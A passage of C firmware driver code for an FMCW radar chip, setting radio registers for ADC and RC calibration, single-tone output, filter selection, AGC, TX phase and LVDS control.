RADIO_MOD_BANK_REG(1, CH1_ADC_TUNE11, CMP_OSCALIB_START, 0x1);
RADIO_MOD_BANK_REG(1, CH2_ADC_TUNE11, CMP_OSCALIB_START, 0x1);
RADIO_MOD_BANK_REG(1, CH3_ADC_TUNE11, CMP_OSCALIB_START, 0x1);
MDELAY(1);
/* ADC CMP Calibration Post-Setting */
RADIO_MOD_BANK_REG(1, CH0_ADC_TUNE10, SATDET_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH0_ADC_TUNE11, CMP_OSCALIB_SHORT2VCM_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH1_ADC_TUNE10, SATDET_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH1_ADC_TUNE11, CMP_OSCALIB_SHORT2VCM_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH2_ADC_TUNE10, SATDET_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH2_ADC_TUNE11, CMP_OSCALIB_SHORT2VCM_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH3_ADC_TUNE10, SATDET_EN, 0x0);
RADIO_MOD_BANK_REG(1, CH3_ADC_TUNE11, CMP_OSCALIB_SHORT2VCM_EN, 0x0);
/* Enable DAC */
RADIO_MOD_BANK_REG(1, CH0_ADC_EN1, IDAC1_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH0_ADC_EN1, IDAC3_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH1_ADC_EN1, IDAC1_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH1_ADC_EN1, IDAC3_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH2_ADC_EN1, IDAC1_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH2_ADC_EN1, IDAC3_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH3_ADC_EN1, IDAC1_EN, 0x1);
RADIO_MOD_BANK_REG(1, CH3_ADC_EN1, IDAC3_EN, 0x1);
/* RXBB outmux selsection */
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0,CH0_RX_TEST,OUTMUX_SEL,0x1);
RADIO_MOD_BANK_REG(0,CH1_RX_TEST,OUTMUX_SEL,0x1);
RADIO_MOD_BANK_REG(0,CH2_RX_TEST,OUTMUX_SEL,0x1);
RADIO_MOD_BANK_REG(0,CH3_RX_TEST,OUTMUX_SEL,0x1);
/* VCM Buf disable */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, CH0_ADC_EN0,BUFFER_VCMBUF_EN,0x0);
RADIO_MOD_BANK_REG(1, CH1_ADC_EN0,BUFFER_VCMBUF_EN,0x0);
RADIO_MOD_BANK_REG(1, CH2_ADC_EN0,BUFFER_VCMBUF_EN,0x0);
RADIO_MOD_BANK_REG(1, CH3_ADC_EN0,BUFFER_VCMBUF_EN,0x0);
/* 800MHz, signal bandwidth 40MHz & 50MHz */
if ((cfg->adc_freq == 40) || (cfg->adc_freq == 50)){
/* 800M CLK enable */
fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x1);
/* 800M ADC enable and reset */
fmcw_radio_switch_bank(radio, 1);
RADIO_WRITE_BANK_REG(1, CH0_ADC_EN0, 0xEF);
RADIO_WRITE_BANK_REG(1, CH1_ADC_EN0, 0xEF);
RADIO_WRITE_BANK_REG(1, CH2_ADC_EN0, 0xEF);
RADIO_WRITE_BANK_REG(1, CH3_ADC_EN0, 0xEF);
}
/* ADC de-Reset */
RADIO_MOD_BANK_REG(1, CH0_ADC_EN0, RST, 0x0);
RADIO_MOD_BANK_REG(1, CH1_ADC_EN0, RST, 0x0);
RADIO_MOD_BANK_REG(1, CH2_ADC_EN0, RST, 0x0);
RADIO_MOD_BANK_REG(1, CH3_ADC_EN0, RST, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_rc_calibration(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
RADIO_MOD_BANK_REG(0, LDO25_SM, LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, LDO11_SM, LDO_EN, 0x1);
//RC Calibration
fmcw_radio_switch_bank(radio, 2);
RADIO_MOD_BANK_REG(2, RCCAL, CLK_5M_EN, 0x1);
RADIO_MOD_BANK_REG(2, RCCAL, VREFSEL, 0x4);
RADIO_MOD_BANK_REG(2, RCCAL, PD, 0x1);
/* Below Delay of 1ms is necessary for calibrated RC circuit to be settled. */
MDELAY(1);
RADIO_MOD_BANK_REG(2, RCCAL, START, 0x1);
//Wait for 1ms
MDELAY(1);
/* The clock of RC calibration has to be turned off after calibration,
otherwise it will cause unwanted spurs in BB FFT2D data. */
RADIO_MOD_BANK_REG(2, RCCAL, CLK_5M_EN, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
/* single point frequency */
int32_t fmcw_radio_single_tone(fmcw_radio_t *radio, double freq, bool enable)
{
uint32_t freq_reg;
uint32_t freq_sel;
freq_reg = DIV_RATIO(freq, FREQ_SYNTH_SD_RATE);
fmcw_radio_do_pll_cal(radio, freq_reg);
fmcw_radio_hp_auto_ch_off(radio,-1);
if (fmcw_radio_is_pll_locked(radio) == false)
return E_PLL_UNLOCK;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
RADIO_MOD_BANK_REG(3, FMCW_START, START_SEL, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_START, START_SPI, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x0);
RADIO_WRITE_BANK_REG(3, FMCW_MODE_SEL, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_SYNC, EN, 0x0);
RADIO_MOD_BANK_REG(3, FMCW_SYNC, SEL, 0x3);
RADIO_MOD_BANK_REG(3, FMCW_SYNC, EN, 0x1);
fmcw_radio_switch_bank(radio, 5); // single tone bank is not considered
if (enable == true) // enable single_tone
freq_sel = freq_reg;
else // disable single_tone, restore init config
freq_sel = radio->start_freq;
RADIO_WRITE_BANK_REG(5, FMCW_START_FREQ_1_0, REG_L(freq_sel));
RADIO_WRITE_BANK_REG(5, FMCW_START_FREQ_1_1, REG_M(freq_sel));
RADIO_WRITE_BANK_REG(5, FMCW_START_FREQ_1_2, REG_H(freq_sel));
RADIO_WRITE_BANK_REG(5, FMCW_START_FREQ_1_3, REG_INT(freq_sel));
fmcw_radio_switch_bank(radio, 9);
RADIO_WRITE_BANK_REG(9, LP_TST_FREQ_0, REG_L(freq_sel));
RADIO_WRITE_BANK_REG(9, LP_TST_FREQ_1, REG_M(freq_sel));
RADIO_WRITE_BANK_REG(9, LP_TST_FREQ_2, REG_H(freq_sel));
RADIO_WRITE_BANK_REG(9, LP_TST_FREQ_3, REG_INT(freq_sel));
fmcw_radio_switch_bank(radio, 3);
RADIO_MOD_BANK_REG(3, FMCW_START, RSTN_SDM_MASH, 0x1);
RADIO_MOD_BANK_REG(3, FMCW_START, START_SPI, 0x1);
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
/*
* channel_index : 0 / 1 / 2 / 3 / -1
* data : HPF1_Hz : 0x1
* HPF1_Hz : 0x2
* HPF1_Hz : 0x3
* HPF1_Hz : 0x4
* HPF1_Hz : 0x5
* HPF1_Hz : 0x6
* HPF1_Hz : 0x7
*/
void fmcw_radio_set_hpf1(fmcw_radio_t *radio, int32_t channel_index, int32_t filter_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
int ch;
if (channel_index != -1)
RADIO_MOD_BANK_CH_REG(0, channel_index, RX_TUNE2, HP1_SEL, filter_index);
else {
for(ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE2, HP1_SEL, filter_index);
}
fmcw_radio_switch_bank(radio, old_bank);
}
int32_t fmcw_radio_get_hpf1(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
char filter_index = RADIO_READ_BANK_CH_REG_FIELD(0, channel_index, RX_TUNE2, HP1_SEL);
fmcw_radio_switch_bank(radio, old_bank);
return filter_index;
}
/*
* channel_index : 0 / 1 / 2 / 3 / -1
* data : HPF2_Hz : 0x0
* HPF2_Hz : 0x1
* HPF2_Hz : 0x2
* HPF2_Hz : 0x3
* HPF2_Hz : 0x4
* HPF2_Hz : 0x5
* HPF2_Hz : 0x6
*/
void fmcw_radio_set_hpf2(fmcw_radio_t *radio, int32_t channel_index, int32_t filter_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
int ch;
if (channel_index != -1)
RADIO_MOD_BANK_CH_REG(0, channel_index, RX_TUNE2, HP2_SEL, filter_index);
else {
for(ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE2, HP2_SEL, filter_index);
}
fmcw_radio_switch_bank(radio, old_bank);
}
int32_t fmcw_radio_get_hpf2(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
char filter_index = RADIO_READ_BANK_CH_REG_FIELD(0, channel_index, RX_TUNE2, HP2_SEL);
fmcw_radio_switch_bank(radio, old_bank);
return filter_index;
}
/* enable fmcw auto on hp1 and hp2 */
void fmcw_radio_hp_auto_ch_on(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
if (channel_index == -1) {
/* 0xF--on, ox0--off*/
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH0, EN, 0x1);
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH1, EN, 0x1);
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH2, EN, 0x1);
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH3, EN, 0x1);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH0, EN, 0x1);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH1, EN, 0x1);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH2, EN, 0x1);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH3, EN, 0x1);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH0, 0x67);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH1, 0x67);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH2, 0x67);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH3, 0x67);
} else if (channel_index == 0) {
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH0, EN, 0x1);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH0, EN, 0x1);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH0, 0x67);
} else if (channel_index == 1) {
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH1, EN, 0x1);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH1, EN, 0x1);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH1, 0x67);
} else if (channel_index == 2) {
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH2, EN, 0x1);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH2, EN, 0x1);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH2, 0x67);
} else if (channel_index == 3) {
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH3, EN, 0x1);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH3, EN, 0x1);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH3, 0x67);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/* disable fmcw auto off hp1 and hp2 */
void fmcw_radio_hp_auto_ch_off(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
if (channel_index == -1) {
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH0, EN, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH1, EN, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH2, EN, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH3, EN, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH0, EN, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH1, EN, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH2, EN, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH3, EN, 0x0);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH0, 0x0);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH1, 0x0);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH2, 0x0);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH3, 0x0);
} else if (channel_index == 0) {
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH0, EN, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH0, EN, 0x0);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH0, 0x0);
} else if (channel_index == 1) {
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH1, EN, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH1, EN, 0x0);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH1, 0x0);
} else if (channel_index == 2) {
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH2, EN, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH2, EN, 0x0);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH2, 0x0);
} else if (channel_index == 3) {
RADIO_MOD_BANK_REG(3, AUTO_HPF1_CH3, EN, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_HPF2_CH3, EN, 0x0);
RADIO_WRITE_BANK_REG(3, AUTO_RXBB_CH3, 0x0);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/*
* enable fmcw auto on tx
* auto tx mode selection:
* 0000 = idle start, down and idle state
* 0001 = idle start and down state
* 0010 = idle start and idle state
* 0011 = idle start state
* 0100 = down and idle state
* 0101 = down state
* 0110 = idle state
* 0111 = off
* 1111 = no mode selected, keep old mode
* enable: 0x1--on, 0x0--off
*/
void fmcw_radio_tx_auto_ch_on(fmcw_radio_t *radio, int32_t channel_index, int32_t mode_sel)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
int ch;
if (channel_index == -1){
for (ch = 0; ch < 4; ch++){
RADIO_MOD_BANK_CH_REG(3, ch, AUTO_TX, EN, 0x1);
/* certain mode selected */
if (mode_sel != 0xf)
RADIO_MOD_BANK_CH_REG(3, ch, AUTO_TX, SEL, mode_sel);
}
}
else{
RADIO_MOD_BANK_CH_REG(3, channel_index, AUTO_TX, EN, 0x1);
if (mode_sel != 0xf)
RADIO_MOD_BANK_CH_REG(3, channel_index, AUTO_TX, SEL, mode_sel);
}
fmcw_radio_switch_bank(radio, old_bank);
}
/*
* disable fmcw auto off tx
* enable: 0x1--on, ox0--off
*/
void fmcw_radio_tx_auto_ch_off(fmcw_radio_t *radio, int32_t channel_index)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 3);
int ch;
if (channel_index == -1)
for (ch = 0; ch < 4; ch++)
RADIO_MOD_BANK_CH_REG(3, ch, AUTO_TX, EN, 0x0);
else
RADIO_MOD_BANK_CH_REG(3, channel_index, AUTO_TX, EN, 0x0);
fmcw_radio_switch_bank(radio, old_bank);
}
/* SDM reset */
void fmcw_radio_sdm_reset(fmcw_radio_t *radio)
{
fmcw_radio_adc_on(radio);
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
uint8_t ch; /* channel index*/
for(ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, RST, 1);
/* after 4 channel reset asserted, then deasserted*/
for(ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, RST, 0);
fmcw_radio_switch_bank(radio, old_bank);
}
/* enable/disable fmcw agc mode */
void fmcw_radio_agc_enable(fmcw_radio_t *radio, bool enable)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
int val = (enable == true)?1:0;
RADIO_MOD_BANK_REG(5,FMCW_AGC_EN_1,AGC_EN_1,val); //agc enable
fmcw_radio_switch_bank(radio, 0);
for (int ch = 0; ch < MAX_NUM_RX; ch++) {
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, PKD_VGA, val); //RF BB VGA2 enable
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, PKD_EN, val); //RF BB VGA1 enable
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, SAT_EN, val); //TIA SAT enable
}
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_agc_setup(fmcw_radio_t *radio)
{
sensor_config_t *cfg = (sensor_config_t *)CONTAINER_OF(radio, baseband_t, radio)->cfg;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
// code start
for (int ch = 0; ch < MAX_NUM_RX; ch++) {
//TIA_SAT_VREF config
if (cfg->agc_tia_thres >= 0.5)
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, TIA_SAT_VREF_SEL,0x3); //TIA vREf 1v
else if(cfg->agc_tia_thres > 0.45)
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, TIA_SAT_VREF_SEL,0x2); //TIA vREf 0.95v
else if(cfg->agc_tia_thres > 0.43)
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, TIA_SAT_VREF_SEL,0x1); //TIA vREf 0.9v
else
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, TIA_SAT_VREF_SEL,0x0); //TIA vREf 0.85v
//VGA_SAT_VREF config
if (cfg->agc_vga1_thres >= 1.0)
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, PKD_VTHSEL,0x3); //VGA vREf 1.7v
else if (cfg->agc_vga1_thres >= 0.95)
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, PKD_VTHSEL,0x2); //VGA vREf 1.65v
else if (cfg->agc_vga1_thres >= 0.8)
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, PKD_VTHSEL,0x1); //VGA vREf 1.55v
else
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, PKD_VTHSEL,0x0); //VGA vREf 1.5v
}
// code end
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_vam_status_save(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
vam_status[0] = RADIO_READ_BANK_REG(5, FMCW_TX0_CTRL_1_2);
vam_status[1] = RADIO_READ_BANK_REG(5, FMCW_TX1_CTRL_1_2);
vam_status[2] = RADIO_READ_BANK_REG(5, FMCW_TX2_CTRL_1_2);
vam_status[3] = RADIO_READ_BANK_REG(5, FMCW_TX3_CTRL_1_2);
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_txphase_status(fmcw_radio_t *radio, bool save)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
int ch;
if (save) {
for (ch=0; ch<MAX_NUM_TX; ch++) {
txphase_status[2*ch] = RADIO_READ_BANK_CH_REG(1, ch, TX_TUNE0);
txphase_status[2*ch + 1] = RADIO_READ_BANK_CH_REG(1, ch, TX_TUNE1);
}
} else {
for (ch=0; ch<MAX_NUM_TX; ch++) {
RADIO_WRITE_BANK_CH_REG(1, ch, TX_TUNE0, txphase_status[2*ch]);
RADIO_WRITE_BANK_CH_REG(1, ch, TX_TUNE1, txphase_status[2*ch+1]);
}
}
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_vam_disable(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
for (uint8_t ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_FWCW_TX_REG(5, ch, CTRL_1_2, VAM_EN, 0x0); /* disable varray mode to write spi registers */
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_vam_status_restore(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
RADIO_WRITE_BANK_REG(5, FMCW_TX0_CTRL_1_2, vam_status[0]);
RADIO_WRITE_BANK_REG(5, FMCW_TX1_CTRL_1_2, vam_status[1]);
RADIO_WRITE_BANK_REG(5, FMCW_TX2_CTRL_1_2, vam_status[2]);
RADIO_WRITE_BANK_REG(5, FMCW_TX3_CTRL_1_2, vam_status[3]);
fmcw_radio_switch_bank(radio, old_bank);
}
/* For protection of switching between some special modes without power off the chirp */
void fmcw_radio_special_mods_off(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
//turn off VAM mode
for (int ch = 0; ch < MAX_NUM_TX; ch++) {
RADIO_WRITE_BANK_FWCW_TX_REG(5, ch, CTRL_1_1, 0x0);
RADIO_MOD_BANK_FWCW_TX_REG(5, ch, CTRL_1_2, VAM_EN, 0x0);
RADIO_MOD_BANK_FWCW_TX_REG(5, ch, CTRL_1_2, VAM_P, 0x0);
}
//turn off ps mode
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
RADIO_MOD_BANK_REG(5, FMCW_PS_EN_1, PS_EN_1, 0x0);
//turn off AGC mode
RADIO_MOD_BANK_REG(5, FMCW_AGC_EN_1, AGC_EN_1,0x0);
fmcw_radio_switch_bank(radio, 0);
for (int ch = 0; ch < MAX_NUM_RX; ch++) {
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, PKD_VGA, 0x0); //RF BB VGA2 enable
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, PKD_EN, 0x0); //RF BB VGA1 enable
RADIO_MOD_BANK_CH_REG(0, ch, RX_PDT, SAT_EN, 0x0); //TIA SAT enable
}
fmcw_radio_switch_bank(radio, old_bank);
}
uint32_t fmcw_radio_compute_lock_freq(fmcw_radio_t *radio)
{
uint32_t min_freq = 0;
uint32_t max_freq = 0;
uint32_t start_freq;
uint32_t stop_freq;
uint32_t max_bandwidth;
for (uint8_t i = 0; i < NUM_FRAME_TYPE; i++) {
sensor_config_t *cfg = sensor_config_get_config(i);
start_freq = DIV_RATIO(cfg->fmcw_startfreq, FREQ_SYNTH_SD_RATE);
stop_freq = DIV_RATIO(cfg->fmcw_startfreq + cfg->fmcw_bandwidth * 1e-3, FREQ_SYNTH_SD_RATE);
if(i == 0) {
min_freq = start_freq;
max_freq = stop_freq;
} else {
if (min_freq > start_freq)
min_freq = start_freq;
if (max_freq < stop_freq)
max_freq = stop_freq;
}
}
max_bandwidth = max_freq - min_freq;
uint32_t lock_freq = min_freq + max_bandwidth / 2;
return lock_freq;
}
/*Bug fix for anti velamb glitch*/
void fmcw_radio_cmd_cfg(fmcw_radio_t *radio)
{
sensor_config_t *cfg = (sensor_config_t *)CONTAINER_OF(radio, baseband_t, radio)->cfg;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
//switch to bank 5 without return value
fmcw_radio_switch_bank(radio, 5 + radio->frame_type_id);
//CMD period
RADIO_WRITE_BANK_REG(5, FMCW_CMD_PRD_1, cfg->nvarray + 1);
/* CMD1 config */
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_X_1_0, 0x0 );
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_X_1_1, 0x0 );
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_X_1_2, 0x0 );
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_X_1_3, 0x0 );
RADIO_WRITE_BANK_REG(5, FMCW_CMD_NUM_1_0 , 0x0 );
/* CMD2 config */
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_Y_1_0, 0x0 );
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_Y_1_1, 0x0 );
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_Y_1_2, 0x0 );
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_Y_1_3, 0x0 );
RADIO_WRITE_BANK_REG(5, FMCW_CMD_NUM_1_1 , 0x0);
/* CMD3 config */
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_Z_1_0, (((radio->up_cycle - CMD_CYCLE_MARGIN) / 2) >> 0) & 0xff);
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_Z_1_1, (((radio->up_cycle - CMD_CYCLE_MARGIN) / 2) >> 8) & 0xff);
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_Z_1_2, (((radio->up_cycle - CMD_CYCLE_MARGIN) / 2) >> 16) & 0xff);
RADIO_WRITE_BANK_REG(5, FMCW_CMD_TIMER_Z_1_3, (((radio->up_cycle - CMD_CYCLE_MARGIN) / 2) >> 24) & 0xff);
RADIO_WRITE_BANK_REG(5, FMCW_CMD_NUM_1_2, 0x2);
//switch to bank 4 without return value
fmcw_radio_switch_bank(radio, 4);
//CMD Group1, switch to bank 1, for the extra chirp
RADIO_WRITE_BANK_REG(4, CPU_ADDR1, 0x00);
RADIO_WRITE_BANK_REG(4, CPU_DATA1, 0x01);
RADIO_WRITE_BANK_REG(4, CPU_ADDR2, 0x00);
RADIO_WRITE_BANK_REG(4, CPU_DATA2, 0x01);
//CMD Group2 and CMD group 3
for (int prd = 0; prd < (cfg->nvarray); prd++){
EMBARC_PRINTF("prd = %d\n", prd);
for (int ch = 0; ch < MAX_NUM_TX; ch++) {
if ( ( (cfg->tx_groups[ch]) >> ( 0 + prd * 4 )) & 0xF) {
fmcw_radio_reg_write(radio,RADIO_BK4_CPU_ADDR3 + prd * 4 , RADIO_BK1_CH0_TX_EN0 + ch * 9);
}
if (prd == (cfg->nvarray - 1)){
if (cfg->tx_groups[ch] & 0xF) {
fmcw_radio_reg_write(radio,RADIO_BK4_CPU_DATA4 + prd * 4 - 1, RADIO_BK1_CH0_TX_EN0 + ch * 9);
}
}
else if ( ( (cfg->tx_groups[ch]) >> ( 4 + prd * 4 )) & 0xF) {
fmcw_radio_reg_write(radio,RADIO_BK4_CPU_ADDR4 + prd * 4 , RADIO_BK1_CH0_TX_EN0 + ch * 9);
}
}
fmcw_radio_reg_write(radio,RADIO_BK4_CPU_DATA3 + prd * 4 , 0x03);
fmcw_radio_reg_write(radio,RADIO_BK4_CPU_DATA4 + prd * 4 , 0x0f);
}
//code end
fmcw_radio_switch_bank(radio, old_bank);
}
void fmcw_radio_auxadc_trim(fmcw_radio_t *radio)
{
uint16_t trim_data = baseband_read_reg(NULL,OTP_TRIM_AUX_ADC);
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
if( trim_data != 0 ){
RADIO_MOD_BANK_REG(1, DTSMD1_SEL, DTSDM_REFSEL, REG_M(trim_data));
RADIO_MOD_BANK_REG(1, DTSMD2_SEL, DTSDM_REFSEL, REG_L(trim_data));
}
fmcw_radio_switch_bank(radio, old_bank);
}
uint32_t fmcw_radio_rfbist_trim(fmcw_radio_t *radio)
{
uint32_t trim_data = baseband_read_reg(NULL,OTP_TRIM_RF_BIST);
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
fmcw_radio_switch_bank(radio, old_bank);
return trim_data;
}
int32_t fmcw_radio_lvds_on(fmcw_radio_t *radio, bool enable)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 2);
int ch;
RADIO_MOD_BANK_REG(2, LVDS_LDO25, LDO25_LVDS_LDO_EN, enable);
for (ch = 0; ch < MAX_NUM_RX; ch++){
RADIO_MOD_BANK_CH_REG(2, ch, LVDS, EN, enable);
RADIO_MOD_BANK_CH_REG(2, ch, LVDS, PRE_EN, enable);
}
RADIO_MOD_BANK_REG(2, LVDS_CLK, EN, enable);
RADIO_MOD_BANK_REG(2, LVDS_CLK, PRE_EN, enable);
RADIO_MOD_BANK_REG(2, LVDS_FRAME, EN, enable);
RADIO_MOD_BANK_REG(2, LVDS_FRAME, PRE_EN, enable);
RADIO_MOD_BANK_REG(2, ADC_FILTER0, RSTN, enable);
RADIO_MOD_BANK_REG(2, ADC_FILTER0, LVDS_OUT_EN, enable);
RADIO_MOD_BANK_REG(2, ADC_FILTER0, CMOS_OUT_EN, enable);
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
/*
* inputmux selection : MainBG VPTAT(default) / TestMUXN / TestMUXP / TPANA1
* #define AUXADC1_MainBG_VPTAT 0
* #define AUXADC1_TestMUXN 1
* #define AUXADC1_TestMUXP 2
* #define AUXADC1_TPANA1 3
*/
float fmcw_radio_auxadc1_voltage(fmcw_radio_t *radio, int32_t muxin_sel)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* Enable 800M ADC CLK */
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x1);
/* Enable safety monitor LDO */
RADIO_MOD_BANK_REG(0, LDO25_SM, LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, LDO11_SM, LDO_EN, 0x1);
/* Enable 5M AUXADC CLK */
fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, DTSMD1_MUXIN_SEL, ADC_CLK_5M_EN, 0x1);
/* AUXADC1 on and reset */
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_BUF_BYPASS, 0x0);
RADIO_MOD_BANK_REG(1, DTSDM1_EN, DTSDM_BUF_EN, 0x1);
